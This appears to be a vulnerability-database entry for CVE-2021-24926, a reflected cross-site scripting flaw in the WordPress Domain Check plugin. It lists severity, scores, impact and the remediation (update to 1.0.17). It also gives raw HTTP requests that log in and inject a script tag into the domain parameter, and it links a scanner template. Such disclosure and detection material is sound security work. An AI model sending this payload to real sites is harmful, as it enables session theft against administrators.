| Title | WordPress Domain Check <1.0.17 - Cross-Site Scripting |
|---|---|
| Author | cckuailong |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript via reflected XSS in the domain parameter, potentially stealing administrator session cookies or performing administrative actions. |
| Remediation | Update to WordPress Domain Check plugin version 1.0.17 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.09793 |
| CVE ID | CVE-2021-24926 |
| CWE ID | CWE-79 |
| Tags | cve cve2021 wpscan xss wp wordpress wp-plugin authenticated domaincheckplugin vuln |
WordPress Domain Check plugin before 1.0.17 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the domain parameter before outputting it back in the page.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.8
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=YJ5jGH&pwd=eW8dyP&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=domain-check-profile&domain=test.foo<script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24926.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24926.pcap
N/AN/A